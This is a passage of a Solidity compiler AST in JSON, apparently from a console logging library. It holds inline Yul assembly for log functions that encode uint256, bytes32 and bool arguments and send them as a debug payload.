{"constant":false,"id":35643,"mutability":"mutable","name":"m2","nameLocation":"58573:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58565:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35642,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58565:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35644,"nodeType":"VariableDeclarationStatement","src":"58565:10:22"},{"assignments":[35646],"declarations":[{"constant":false,"id":35646,"mutability":"mutable","name":"m3","nameLocation":"58593:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58585:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35645,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58585:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35647,"nodeType":"VariableDeclarationStatement","src":"58585:10:22"},{"assignments":[35649],"declarations":[{"constant":false,"id":35649,"mutability":"mutable","name":"m4","nameLocation":"58613:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58605:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35648,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58605:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35650,"nodeType":"VariableDeclarationStatement","src":"58605:10:22"},{"assignments":[35652],"declarations":[{"constant":false,"id":35652,"mutability":"mutable","name":"m5","nameLocation":"58633:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58625:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35651,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58625:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35653,"nodeType":"VariableDeclarationStatement","src":"58625:10:22"},{"AST":{"nativeSrc":"58654:761:22","nodeType":"YulBlock","src":"58654:761:22","statements":[{"body":{"nativeSrc":"58697:313:22","nodeType":"YulBlock","src":"58697:313:22","statements":[{"nativeSrc":"58715:15:22","nodeType":"YulVariableDeclaration","src":"58715:15:22","value":{"kind":"number","nativeSrc":"58729:1:22","nodeType":"YulLiteral","src":"58729:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"58719:6:22","nodeType":"YulTypedName","src":"58719:6:22","type":""}]},{"body":{"nativeSrc":"58800:40:22","nodeType":"YulBlock","src":"58800:40:22","statements":[{"body":{"nativeSrc":"58829:9:22","nodeType":"YulBlock","src":"58829:9:22","statements":[{"nativeSrc":"58831:5:22","nodeType":"YulBreak","src":"58831:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"58817:6:22","nodeType":"YulIdentifier","src":"58817:6:22"},{"name":"w","nativeSrc":"58825:1:22","nodeType":"YulIdentifier","src":"58825:1:22"}],"functionName":{"name":"byte","nativeSrc":"58812:4:22","nodeType":"YulIdentifier","src":"58812:4:22"},"nativeSrc":"58812:15:22","nodeType":"YulFunctionCall","src":"58812:15:22"}],"functionName":{"name":"iszero","nativeSrc":"58805:6:22","nodeType":"YulIdentifier","src":"58805:6:22"},"nativeSrc":"58805:23:22","nodeType":"YulFunctionCall","src":"58805:23:22"},"nativeSrc":"58802:36:22","nodeType":"YulIf","src":"58802:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"58757:6:22","nodeType":"YulIdentifier","src":"58757:6:22"},{"kind":"number","nativeSrc":"58765:4:22","nodeType":"YulLiteral","src":"58765:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"58754:2:22","nodeType":"YulIdentifier","src":"58754:2:22"},"nativeSrc":"58754:16:22","nodeType":"YulFunctionCall","src":"58754:16:22"},"nativeSrc":"58747:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"58771:28:22","nodeType":"YulBlock","src":"58771:28:22","statements":[{"nativeSrc":"58773:24:22","nodeType":"YulAssignment","src":"58773:24:22","value":{"arguments":[{"name":"length","nativeSrc":"58787:6:22","nodeType":"YulIdentifier","src":"58787:6:22"},{"kind":"number","nativeSrc":"58795:1:22","nodeType":"YulLiteral","src":"58795:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"58783:3:22","nodeType":"YulIdentifier","src":"58783:3:22"},"nativeSrc":"58783:14:22","nodeType":"YulFunctionCall","src":"58783:14:22"},"variableNames":[{"name":"length","nativeSrc":"58773:6:22","nodeType":"YulIdentifier","src":"58773:6:22"}]}]},"pre":{"nativeSrc":"58751:2:22","nodeType":"YulBlock","src":"58751:2:22","statements":[]},"src":"58747:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"58864:3:22","nodeType":"YulIdentifier","src":"58864:3:22"},{"name":"length","nativeSrc":"58869:6:22","nodeType":"YulIdentifier","src":"58869:6:22"}],"functionName":{"name":"mstore","nativeSrc":"58857:6:22","nodeType":"YulIdentifier","src":"58857:6:22"},"nativeSrc":"58857:19:22","nodeType":"YulFunctionCall","src":"58857:19:22"},"nativeSrc":"58857:19:22","nodeType":"YulExpressionStatement","src":"58857:19:22"},{"nativeSrc":"58893:37:22","nodeType":"YulVariableDeclaration","src":"58893:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"58910:3:22","nodeType":"YulLiteral","src":"58910:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"58919:1:22","nodeType":"YulLiteral","src":"58919:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"58922:6:22","nodeType":"YulIdentifier","src":"58922:6:22"}],"functionName":{"name":"shl","nativeSrc":"58915:3:22","nodeType":"YulIdentifier","src":"58915:3:22"},"nativeSrc":"58915:14:22","nodeType":"YulFunctionCall","src":"58915:14:22"}],"functionName":{"name":"sub","nativeSrc":"58906:3:22","nodeType":"YulIdentifier","src":"58906:3:22"},"nativeSrc":"58906:24:22","nodeType":"YulFunctionCall","src":"58906:24:22"},"variables":[{"name":"shift","nativeSrc":"58897:5:22","nodeType":"YulTypedName","src":"58897:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"58958:3:22","nodeType":"YulIdentifier","src":"58958:3:22"},{"kind":"number","nativeSrc":"58963:4:22","nodeType":"YulLiteral","src":"58963:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"58954:3:22","nodeType":"YulIdentifier","src":"58954:3:22"},"nativeSrc":"58954:14:22","nodeType":"YulFunctionCall","src":"58954:14:22"},{"arguments":[{"name":"shift","nativeSrc":"58974:5:22","nodeType":"YulIdentifier","src":"58974:5:22"},{"arguments":[{"name":"shift","nativeSrc":"58985:5:22","nodeType":"YulIdentifier","src":"58985:5:22"},{"name":"w","nativeSrc":"58992:1:22","nodeType":"YulIdentifier","src":"58992:1:22"}],"functionName":{"name":"shr","nativeSrc":"58981:3:22","nodeType":"YulIdentifier","src":"58981:3:22"},"nativeSrc":"58981:13:22","nodeType":"YulFunctionCall","src":"58981:13:22"}],"functionName":{"name":"shl","nativeSrc":"58970:3:22","nodeType":"YulIdentifier","src":"58970:3:22"},"nativeSrc":"58970:25:22","nodeType":"YulFunctionCall","src":"58970:25:22"}],"functionName":{"name":"mstore","nativeSrc":"58947:6:22","nodeType":"YulIdentifier","src":"58947:6:22"},"nativeSrc":"58947:49:22","nodeType":"YulFunctionCall","src":"58947:49:22"},"nativeSrc":"58947:49:22","nodeType":"YulExpressionStatement","src":"58947:49:22"}]},"name":"writeString","nativeSrc":"58668:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"58689:3:22","nodeType":"YulTypedName","src":"58689:3:22","type":""},{"name":"w","nativeSrc":"58694:1:22","nodeType":"YulTypedName","src":"58694:1:22","type":""}],"src":"58668:342:22"},{"nativeSrc":"59023:17:22","nodeType":"YulAssignment","src":"59023:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59035:4:22","nodeType":"YulLiteral","src":"59035:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"59029:5:22","nodeType":"YulIdentifier","src":"59029:5:22"},"nativeSrc":"59029:11:22","nodeType":"YulFunctionCall","src":"59029:11:22"},"variableNames":[{"name":"m0","nativeSrc":"59023:2:22","nodeType":"YulIdentifier","src":"59023:2:22"}]},{"nativeSrc":"59053:17:22","nodeType":"YulAssignment","src":"59053:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59065:4:22","nodeType":"YulLiteral","src":"59065:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"59059:5:22","nodeType":"YulIdentifier","src":"59059:5:22"},"nativeSrc":"59059:11:22","nodeType":"YulFunctionCall","src":"59059:11:22"},"variableNames":[{"name":"m1","nativeSrc":"59053:2:22","nodeType":"YulIdentifier","src":"59053:2:22"}]},{"nativeSrc":"59083:17:22","nodeType":"YulAssignment","src":"59083:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59095:4:22","nodeType":"YulLiteral","src":"59095:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"59089:5:22","nodeType":"YulIdentifier","src":"59089:5:22"},"nativeSrc":"59089:11:22","nodeType":"YulFunctionCall","src":"59089:11:22"},"variableNames":[{"name":"m2","nativeSrc":"59083:2:22","nodeType":"YulIdentifier","src":"59083:2:22"}]},{"nativeSrc":"59113:17:22","nodeType":"YulAssignment","src":"59113:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59125:4:22","nodeType":"YulLiteral","src":"59125:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"59119:5:22","nodeType":"YulIdentifier","src":"59119:5:22"},"nativeSrc":"59119:11:22","nodeType":"YulFunctionCall","src":"59119:11:22"},"variableNames":[{"name":"m3","nativeSrc":"59113:2:22","nodeType":"YulIdentifier","src":"59113:2:22"}]},{"nativeSrc":"59143:17:22","nodeType":"YulAssignment","src":"59143:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59155:4:22","nodeType":"YulLiteral","src":"59155:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"59149:5:22","nodeType":"YulIdentifier","src":"59149:5:22"},"nativeSrc":"59149:11:22","nodeType":"YulFunctionCall","src":"59149:11:22"},"variableNames":[{"name":"m4","nativeSrc":"59143:2:22","nodeType":"YulIdentifier","src":"59143:2:22"}]},{"nativeSrc":"59173:17:22","nodeType":"YulAssignment","src":"59173:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"59185:4:22","nodeType":"YulLiteral","src":"59185:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"59179:5:22","nodeType":"YulIdentifier","src":"59179:5:22"},"nativeSrc":"59179:11:22","nodeType":"YulFunctionCall","src":"59179:11:22"},"variableNames":[{"name":"m5","nativeSrc":"59173:2:22","nodeType":"YulIdentifier","src":"59173:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59265:4:22","nodeType":"YulLiteral","src":"59265:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"59271:10:22","nodeType":"YulLiteral","src":"59271:10:22","type":"","value":"0x4ceda75a"}],"functionName":{"name":"mstore","nativeSrc":"59258:6:22","nodeType":"YulIdentifier","src":"59258:6:22"},"nativeSrc":"59258:24:22","nodeType":"YulFunctionCall","src":"59258:24:22"},"nativeSrc":"59258:24:22","nodeType":"YulExpressionStatement","src":"59258:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59302:4:22","nodeType":"YulLiteral","src":"59302:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"59308:2:22","nodeType":"YulIdentifier","src":"59308:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59295:6:22","nodeType":"YulIdentifier","src":"59295:6:22"},"nativeSrc":"59295:16:22","nodeType":"YulFunctionCall","src":"59295:16:22"},"nativeSrc":"59295:16:22","nodeType":"YulExpressionStatement","src":"59295:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59331:4:22","nodeType":"YulLiteral","src":"59331:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"59337:4:22","nodeType":"YulLiteral","src":"59337:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"59324:6:22","nodeType":"YulIdentifier","src":"59324:6:22"},"nativeSrc":"59324:18:22","nodeType":"YulFunctionCall","src":"59324:18:22"},"nativeSrc":"59324:18:22","nodeType":"YulExpressionStatement","src":"59324:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59362:4:22","nodeType":"YulLiteral","src":"59362:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"59368:2:22","nodeType":"YulIdentifier","src":"59368:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59355:6:22","nodeType":"YulIdentifier","src":"59355:6:22"},"nativeSrc":"59355:16:22","nodeType":"YulFunctionCall","src":"59355:16:22"},"nativeSrc":"59355:16:22","nodeType":"YulExpressionStatement","src":"59355:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59396:4:22","nodeType":"YulLiteral","src":"59396:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"59402:2:22","nodeType":"YulIdentifier","src":"59402:2:22"}],"functionName":{"name":"writeString","nativeSrc":"59384:11:22","nodeType":"YulIdentifier","src":"59384:11:22"},"nativeSrc":"59384:21:22","nodeType":"YulFunctionCall","src":"59384:21:22"},"nativeSrc":"59384:21:22","nodeType":"YulExpressionStatement","src":"59384:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35637,"isOffset":false,"isSlot":false,"src":"59023:2:22","valueSize":1},{"declaration":35640,"isOffset":false,"isSlot":false,"src":"59053:2:22","valueSize":1},{"declaration":35643,"isOffset":false,"isSlot":false,"src":"59083:2:22","valueSize":1},{"declaration":35646,"isOffset":false,"isSlot":false,"src":"59113:2:22","valueSize":1},{"declaration":35649,"isOffset":false,"isSlot":false,"src":"59143:2:22","valueSize":1},{"declaration":35652,"isOffset":false,"isSlot":false,"src":"59173:2:22","valueSize":1},{"declaration":35629,"isOffset":false,"isSlot":false,"src":"59308:2:22","valueSize":1},{"declaration":35631,"isOffset":false,"isSlot":false,"src":"59402:2:22","valueSize":1},{"declaration":35633,"isOffset":false,"isSlot":false,"src":"59368:2:22","valueSize":1}],"id":35654,"nodeType":"InlineAssembly","src":"58645:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35656,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"59440:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"59446:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35655,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"59424:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35658,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59424:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35659,"nodeType":"ExpressionStatement","src":"59424:27:22"},{"AST":{"nativeSrc":"59470:185:22","nodeType":"YulBlock","src":"59470:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"59491:4:22","nodeType":"YulLiteral","src":"59491:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"59497:2:22","nodeType":"YulIdentifier","src":"59497:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59484:6:22","nodeType":"YulIdentifier","src":"59484:6:22"},"nativeSrc":"59484:16:22","nodeType":"YulFunctionCall","src":"59484:16:22"},"nativeSrc":"59484:16:22","nodeType":"YulExpressionStatement","src":"59484:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59520:4:22","nodeType":"YulLiteral","src":"59520:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"59526:2:22","nodeType":"YulIdentifier","src":"59526:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59513:6:22","nodeType":"YulIdentifier","src":"59513:6:22"},"nativeSrc":"59513:16:22","nodeType":"YulFunctionCall","src":"59513:16:22"},"nativeSrc":"59513:16:22","nodeType":"YulExpressionStatement","src":"59513:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59549:4:22","nodeType":"YulLiteral","src":"59549:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"59555:2:22","nodeType":"YulIdentifier","src":"59555:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59542:6:22","nodeType":"YulIdentifier","src":"59542:6:22"},"nativeSrc":"59542:16:22","nodeType":"YulFunctionCall","src":"59542:16:22"},"nativeSrc":"59542:16:22","nodeType":"YulExpressionStatement","src":"59542:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59578:4:22","nodeType":"YulLiteral","src":"59578:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"59584:2:22","nodeType":"YulIdentifier","src":"59584:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59571:6:22","nodeType":"YulIdentifier","src":"59571:6:22"},"nativeSrc":"59571:16:22","nodeType":"YulFunctionCall","src":"59571:16:22"},"nativeSrc":"59571:16:22","nodeType":"YulExpressionStatement","src":"59571:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59607:4:22","nodeType":"YulLiteral","src":"59607:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"59613:2:22","nodeType":"YulIdentifier","src":"59613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59600:6:22","nodeType":"YulIdentifier","src":"59600:6:22"},"nativeSrc":"59600:16:22","nodeType":"YulFunctionCall","src":"59600:16:22"},"nativeSrc":"59600:16:22","nodeType":"YulExpressionStatement","src":"59600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"59636:4:22","nodeType":"YulLiteral","src":"59636:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"59642:2:22","nodeType":"YulIdentifier","src":"59642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"59629:6:22","nodeType":"YulIdentifier","src":"59629:6:22"},"nativeSrc":"59629:16:22","nodeType":"YulFunctionCall","src":"59629:16:22"},"nativeSrc":"59629:16:22","nodeType":"YulExpressionStatement","src":"59629:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35637,"isOffset":false,"isSlot":false,"src":"59497:2:22","valueSize":1},{"declaration":35640,"isOffset":false,"isSlot":false,"src":"59526:2:22","valueSize":1},{"declaration":35643,"isOffset":false,"isSlot":false,"src":"59555:2:22","valueSize":1},{"declaration":35646,"isOffset":false,"isSlot":false,"src":"59584:2:22","valueSize":1},{"declaration":35649,"isOffset":false,"isSlot":false,"src":"59613:2:22","valueSize":1},{"declaration":35652,"isOffset":false,"isSlot":false,"src":"59642:2:22","valueSize":1}],"id":35660,"nodeType":"InlineAssembly","src":"59461:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58464:3:22","parameters":{"id":35634,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35629,"mutability":"mutable","name":"p0","nameLocation":"58476:2:22","nodeType":"VariableDeclaration","scope":35662,"src":"58468:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35628,"name":"uint256","nodeType":"ElementaryTypeName","src":"58468:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35631,"mutability":"mutable","name":"p1","nameLocation":"58488:2:22","nodeType":"VariableDeclaration","scope":35662,"src":"58480:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35630,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58480:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35633,"mutability":"mutable","name":"p2","nameLocation":"58497:2:22","nodeType":"VariableDeclaration","scope":35662,"src":"58492:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35632,"name":"bool","nodeType":"ElementaryTypeName","src":"58492:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"58467:33:22"},"returnParameters":{"id":35635,"nodeType":"ParameterList","parameters":[],"src":"58515:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35697,"nodeType":"FunctionDefinition","src":"59667:1212:22","nodes":[],"body":{"id":35696,"nodeType":"Block","src":"59730:1149:22","nodes":[],"statements":[{"assignments":[35672],"declarations":[{"constant":false,"id":35672,"mutability":"mutable","name":"m0","nameLocation":"59748:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59740:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35671,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59740:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35673,"nodeType":"VariableDeclarationStatement","src":"59740:10:22"},{"assignments":[35675],"declarations":[{"constant":false,"id":35675,"mutability":"mutable","name":"m1","nameLocation":"59768:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59760:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35674,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59760:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35676,"nodeType":"VariableDeclarationStatement","src":"59760:10:22"},{"assignments":[35678],"declarations":[{"constant":false,"id":35678,"mutability":"mutable","name":"m2","nameLocation":"59788:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59780:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35677,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59780:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35679,"nodeType":"VariableDeclarationStatement","src":"59780:10:22"},{"assignments":[35681],"declarations":[{"constant":false,"id":35681,"mutability":"mutable","name":"m3","nameLocation":"59808:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59800:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35680,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59800:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35682,"nodeType":"VariableDeclarationStatement","src":"59800:10:22"},{"assignments":[35684],"declarations":[{"constant":false,"id":35684,"mutability":"mutable","name":"m4","nameLocation":"59828:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59820:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59820:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35685,"nodeType":"VariableDeclarationStatement","src":"59820:10:22"},{"assignments":[35687],"declarations":[{"constant":false,"id":35687,"mutability":"mutable","name":"m5","nameLocation":"59848:2:22","nodeType":"VariableDeclaration","scope":35696,"src":"59840:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"59840:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35688,"nodeType":"VariableDeclarationStatement","src":"59840:10:22"},{"AST":{"nativeSrc":"59869:764:22","nodeType":"YulBlock","src":"59869:764:22","statements":[{"body":{"nativeSrc":"59912:313:22","nodeType":"YulBlock","src":"59912:313:22","statements":[{"nativeSrc":"59930:15:22","nodeType":"YulVariableDeclaration","src":"59930:15:22","value":{"kind":"number","nativeSrc":"59944:1:22","nodeType":"YulLiteral","src":"59944:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"59934:6:22","nodeType":"YulTypedName","src":"59934:6:22","type":""}]},{"body":{"nativeSrc":"60015:40:22","nodeType":"YulBlock","src":"60015:40:22","statements":[{"body":{"nativeSrc":"60044:9:22","nodeType":"YulBlock","src":"60044:9:22","statements":[{"nativeSrc":"60046:5:22","nodeType":"YulBreak","src":"60046:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"60032:6:22","nodeType":"YulIdentifier","src":"60032:6:22"},{"name":"w","nativeSrc":"60040:1:22","nodeType":"YulIdentifier","src":"60040:1:22"}],"functionName":{"name":"byte","nativeSrc":"60027:4:22","nodeType":"YulIdentifier","src":"60027:4:22"},"nativeSrc":"60027:15:22","nodeType":"YulFunctionCall","src":"60027:15:22"}],"functionName":{"name":"iszero","nativeSrc":"60020:6:22","nodeType":"YulIdentifier","src":"60020:6:22"},"nativeSrc":"60020:23:22","nodeType":"YulFunctionCall","src":"60020:23:22"},"nativeSrc":"60017:36:22","nodeType":"YulIf","src":"60017:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"59972:6:22","nodeType":"YulIdentifier","src":"59972:6:22"},{"kind":"number","nativeSrc":"59980:4:22","nodeType":"YulLiteral","src":"59980:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"59969:2:22","nodeType":"YulIdentifier","src":"59969:2:22"},"nativeSrc":"59969:16:22","nodeType":"YulFunctionCall","src":"59969:16:22"},"nativeSrc":"59962:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"59986:28:22","nodeType":"YulBlock","src":"59986:28:22","statements":[{"nativeSrc":"59988:24:22","nodeType":"YulAssignment","src":"59988:24:22","value":{"arguments":[{"name":"length","nativeSrc":"60002:6:22","nodeType":"YulIdentifier","src":"60002:6:22"},{"kind":"number","nativeSrc":"60010:1:22","nodeType":"YulLiteral","src":"60010:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"59998:3:22","nodeType":"YulIdentifier","src":"59998:3:22"},"nativeSrc":"59998:14:22","nodeType":"YulFunctionCall","src":"59998:14:22"},"variableNames":[{"name":"length","nativeSrc":"59988:6:22","nodeType":"YulIdentifier","src":"59988:6:22"}]}]},"pre":{"nativeSrc":"59966:2:22","nodeType":"YulBlock","src":"59966:2:22","statements":[]},"src":"59962:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"60079:3:22","nodeType":"YulIdentifier","src":"60079:3:22"},{"name":"length","nativeSrc":"60084:6:22","nodeType":"YulIdentifier","src":"60084:6:22"}],"functionName":{"name":"mstore","nativeSrc":"60072:6:22","nodeType":"YulIdentifier","src":"60072:6:22"},"nativeSrc":"60072:19:22","nodeType":"YulFunctionCall","src":"60072:19:22"},"nativeSrc":"60072:19:22","nodeType":"YulExpressionStatement","src":"60072:19:22"},{"nativeSrc":"60108:37:22","nodeType":"YulVariableDeclaration","src":"60108:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"60125:3:22","nodeType":"YulLiteral","src":"60125:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"60134:1:22","nodeType":"YulLiteral","src":"60134:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"60137:6:22","nodeType":"YulIdentifier","src":"60137:6:22"}],"functionName":{"name":"shl","nativeSrc":"60130:3:22","nodeType":"YulIdentifier","src":"60130:3:22"},"nativeSrc":"60130:14:22","nodeType":"YulFunctionCall","src":"60130:14:22"}],"functionName":{"name":"sub","nativeSrc":"60121:3:22","nodeType":"YulIdentifier","src":"60121:3:22"},"nativeSrc":"60121:24:22","nodeType":"YulFunctionCall","src":"60121:24:22"},"variables":[{"name":"shift","nativeSrc":"60112:5:22","nodeType":"YulTypedName","src":"60112:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"60173:3:22","nodeType":"YulIdentifier","src":"60173:3:22"},{"kind":"number","nativeSrc":"60178:4:22","nodeType":"YulLiteral","src":"60178:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"60169:3:22","nodeType":"YulIdentifier","src":"60169:3:22"},"nativeSrc":"60169:14:22","nodeType":"YulFunctionCall","src":"60169:14:22"},{"arguments":[{"name":"shift","nativeSrc":"60189:5:22","nodeType":"YulIdentifier","src":"60189:5:22"},{"arguments":[{"name":"shift","nativeSrc":"60200:5:22","nodeType":"YulIdentifier","src":"60200:5:22"},{"name":"w","nativeSrc":"60207:1:22","nodeType":"YulIdentifier","src":"60207:1: